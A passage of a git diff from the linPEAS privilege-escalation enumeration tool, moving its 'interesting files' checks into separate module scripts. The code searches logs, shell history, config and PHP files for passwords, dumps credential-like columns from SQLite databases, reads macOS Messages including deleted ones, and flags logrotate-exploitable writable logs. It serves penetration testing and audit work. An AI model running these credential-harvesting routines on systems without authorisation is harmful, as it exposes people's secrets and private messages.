%p\n\" 2>/dev/null | grep \"\"" - echo "" -fi - -##-- IF) Executable files added by user -print_2title "Executable files potentially added by user (limit 70)" -if ! [ "$SEARCH_IN_FOLDER" ]; then - find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70 -else - find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70 -fi -echo "" - - - -if [ "$MACPEAS" ]; then - print_2title "Unsigned Applications" - macosNotSigned /System/Applications -fi - -##-- IF) Unexpected in /opt -if ! [ "$SEARCH_IN_FOLDER" ]; then - if [ "$(ls /opt 2>/dev/null)" ]; then - print_2title "Unexpected in /opt (usually empty)" - ls -la /opt - echo "" - fi -fi - -##-- IF) Unexpected folders in / -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Unexpected in root" - if [ "$MACPEAS" ]; then - (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found - else - (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found - fi - echo "" -fi - -##-- IF) Modified interesting files into specific folders in the last 5mins -print_2title "Modified interesting files in the last 5mins (limit 100)" -find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED}," -echo "" - -##-- IF) Writable log files -if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then # 3.18.0 and below -print_2title "Writable log files (logrotten) (limit 50)" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation" - logrotate --version 2>/dev/null || echo_not_found "logrotate" - lastWlogFolder="ImPOsSiBleeElastWlogFolder" - logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50) - printf "%s\n" "$logfind" | while read log; do - if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then # Only print info if something interesting found - if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC; - elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case - elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log"; - elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g"; - fi - fi - done -fi - -echo "" - -if ! [ "$SEARCH_IN_FOLDER" ]; then - ##-- IF) Files inside my home - print_2title "Files inside $HOME (limit 20)" - (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found - echo "" - - ##-- IF) Files inside /home - print_2title "Files inside others home (limit 20)" - (find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found - echo "" - - ##-- IF) Mail applications - print_2title "Searching installed mail applications" - ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq - echo "" - - ##-- IF) Mails - print_2title "Mails (limit 50)" - (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found - echo "" - - ##-- IF) Backup folders - if [ "$backup_folders" ] || [ "$DEBUG" ]; then - print_2title "Backup folders" - printf "%s\n" "$backup_folders" | while read b ; do - ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g"; - ls -l "$b" 2>/dev/null && echo "" - done - echo "" - fi -fi - -##-- IF) Backup files -print_2title "Backup files (limited 100)" -backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null) -printf "%s\n" "$backs" | head -n 100 | while read b ; do - if [ -r "$b" ]; then - ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g"; - fi; -done -echo "" - -##-- IF) DB files -if [ "$MACPEAS" ]; then - print_2title "Reading messages database" - sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null - sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null - sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null - -fi - - -if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then - print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)" - FILECMD="$(command -v file 2>/dev/null)" - printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do - if [ "$FILECMD" ]; then - echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; - else - echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; - fi - done - SQLITEPYTHON="" - echo "" - printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do - if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then # If readable and filecmd and sqlite, or readable and not filecmd - if [ "$(command -v sqlite3 2>/dev/null)" ]; then - tables=$(sqlite3 $f ".tables" 2>/dev/null) - #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" - elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then - SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null) - tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null) - #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" - else - tables="" - fi - if [ "$tables" ] || [ "$DEBUG" ]; then - printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC - printf "%s\n" "$tables" | while read t; do - columns="" - # Search for credentials inside the table using sqlite3 - if [ -z "$SQLITEPYTHON" ]; then - columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE") - # Search for credentials inside the table using python - else - columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null) - fi - # Check found columns for interesting fields - INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt") - if [ "$INTCOLUMN" ]; then - printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g" - printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g" - (sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head - echo "" - fi - done - fi - fi - done -fi -echo "" - -if [ "$MACPEAS" ]; then - print_2title "Downloaded Files" - sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|" -fi - -##-- IF) Web files -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Web files?(output limit)" - ls -alhR /var/www/ 2>/dev/null | head - ls -alhR /srv/www/htdocs/ 2>/dev/null | head - ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head - ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head - echo "" -fi - -##-- IF) All hidden files -print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)" -find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70 -echo "" - -##-- IF) Readable files in /tmp, /var/tmp, backups -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)" - filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70) - printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done - echo "" -fi - -##-- IF) Passwords in history cmd -if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then - print_2title "Searching passwords in history cmd" - history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED}," - echo "" -fi - -##-- IF) Passwords in history files -if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then - print_2title "Searching passwords in history files" - printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -EiH "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done - echo "" -fi - -##-- IF) Passwords in config PHP files -if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then - print_2title "Searching passwords in config PHP files" - printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiIH "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done - echo "" -fi - -##-- IF) Passwords files in home -if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then - print_2title "Searching *password* or *credential* files in home (limit 70)" - (printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found - echo "" -fi - -##-- IF) TTY passwords -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Checking for TTY (sudo/su) passwords in audit logs" - aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" - find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" - echo "" -fi - -##-- IF) IPs inside logs -if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then - print_2title "Searching IPs inside logs (limit 70)" - (find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70 - echo "" -fi - -##-- IF) Passwords inside logs -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Searching passwords inside logs (limit 70)" - (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," - echo "" -fi - -if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then - ##-- IF) Emails inside logs - print_2title "Searching emails inside logs (limit 70)" - (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g" - echo "" -fi - -if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then - ##-- IF) Find possible files with passwords - print_2title "Searching possible password variables inside key folders (limit 140)" - if ! [ "$SEARCH_IN_FOLDER" ]; then - timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & - timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & - else - timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & - fi - wait - echo "" - - ##-- IF) Find possible conf files with passwords - print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)" - if ! [ "$SEARCH_IN_FOLDER" ]; then - ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null) - else - ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null) - fi - printf "%s\n" "$ppicf" | while read f; do - if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null; then - echo "$ITALIC $f$NC" - grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g" - fi - done - echo "" -fi diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/10_Others_homes.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/10_Others_homes.sh new file mode 100644 index 0000000..058bc78 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/10_Others_homes.sh @@ -0,0 +1,20 @@ +# Title: Interesting Files - Files inside /home +# ID: IF_Others_homes +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Files inside /home +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $HOMESEARCH, $SEARCH_IN_FOLDER, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Files inside others home (limit 20)" + (find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/11_Mail_apps.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/11_Mail_apps.sh new file mode 100644 index 0000000..2b3bc0b --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/11_Mail_apps.sh @@ -0,0 +1,20 @@ +# Title: Interesting Files - Mail applications +# ID: IF_Mail_apps +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Mail applications +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $mail_apps, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching installed mail applications" + ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/12_Mails.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/12_Mails.sh new file mode 100644 index 0000000..b0bb297 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/12_Mails.sh @@ -0,0 +1,20 @@ +# Title: Interesting Files - Mails +# ID: IF_Mails +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Mails +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $knw_usrs ,$nosh_usrs , $SEARCH_IN_FOLDER, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Mails (limit 50)" + (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/13_Backup_folders.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/13_Backup_folders.sh new file mode 100644 index 0000000..d05b138 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/13_Backup_folders.sh @@ -0,0 +1,25 @@ +# Title: Interesting Files - Backup folders +# ID: IF_Backup_folders +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Backup folders +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$PSTORAGE_BACKUPS" ] || [ "$DEBUG" ]; then + print_2title "Backup folders" + printf "%s\n" "$PSTORAGE_BACKUPS" | while read b ; do + ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g"; + ls -l "$b" 2>/dev/null && echo "" + done + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/14_Backup_files.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/14_Backup_files.sh new file mode 100644 index 0000000..2080521 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/14_Backup_files.sh @@ -0,0 +1,23 @@ +# Title: Interesting Files - Backup files +# ID: IF_Backup_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Backup files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $notExtensions, $ROOT_FOLDER, $notBackup +# Initial Functions: +# Generated Global Variables: $backs +# Fat linpeas: 0 +# Small linpeas: 0 + + +print_2title "Backup files (limited 100)" +backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null) +printf "%s\n" "$backs" | head -n 100 | while read b ; do + if [ -r "$b" ]; then + ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g"; + fi; +done +echo "" diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/15_Db_files.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/15_Db_files.sh new file mode 100644 index 0000000..accab5a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/15_Db_files.sh @@ -0,0 +1,78 @@ +# Title: Interesting Files - DB files +# ID: IF_Db_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching tables inside readable .db/.sql/.sqlite files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG, $HOME, $MACPEAS +# Initial Functions: +# Generated Global Variables: $FILECMD, $SQLITEPYTHON, $tables, $columns, $INTCOLUMN +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ]; then + print_2title "Reading messages database" + sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null + sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null + sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null + +fi + + +if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then + print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)" + FILECMD="$(command -v file 2>/dev/null || echo -n '')" + printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do + if [ "$FILECMD" ]; then + echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; + else + echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; + fi + done + SQLITEPYTHON="" + echo "" + printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do + if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd + if [ "$(command -v sqlite3 2>/dev/null || echo -n '')" ]; then + tables=$(sqlite3 $f ".tables" 2>/dev/null) + #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" + elif [ "$(command -v python 2>/dev/null || echo -n '')" ] || [ "$(command -v python3 2>/dev/null || echo -n '')" ]; then + SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null || echo -n '') + tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null) + #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" + else + tables="" + fi + if [ "$tables" ] || [ "$DEBUG" ]; then + printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC + printf "%s\n" "$tables" | while read t; do + columns="" + # Search for credentials inside the table using sqlite3 + if [ -z "$SQLITEPYTHON" ]; then + columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE") + # Search for credentials inside the table using python + else + columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null) + fi + #Check found columns for interesting fields + INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt") + if [ "$INTCOLUMN" ]; then + printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g" + printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g" + (sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head + echo "" + fi + done + fi + fi + done +fi +echo "" + +if [ "$MACPEAS" ]; then + print_2title "Downloaded Files" + sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/16_Macos_downloaded_files.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/16_Macos_downloaded_files.sh new file mode 100644 index 0000000..5a84c48 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/16_Macos_downloaded_files.sh @@ -0,0 +1,19 @@ +# Title: Interesting Files - DB files +# ID: IF_Macos_downloaded_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check which files have been downloaded +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ]; then + print_2title "Downloaded Files" + sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select 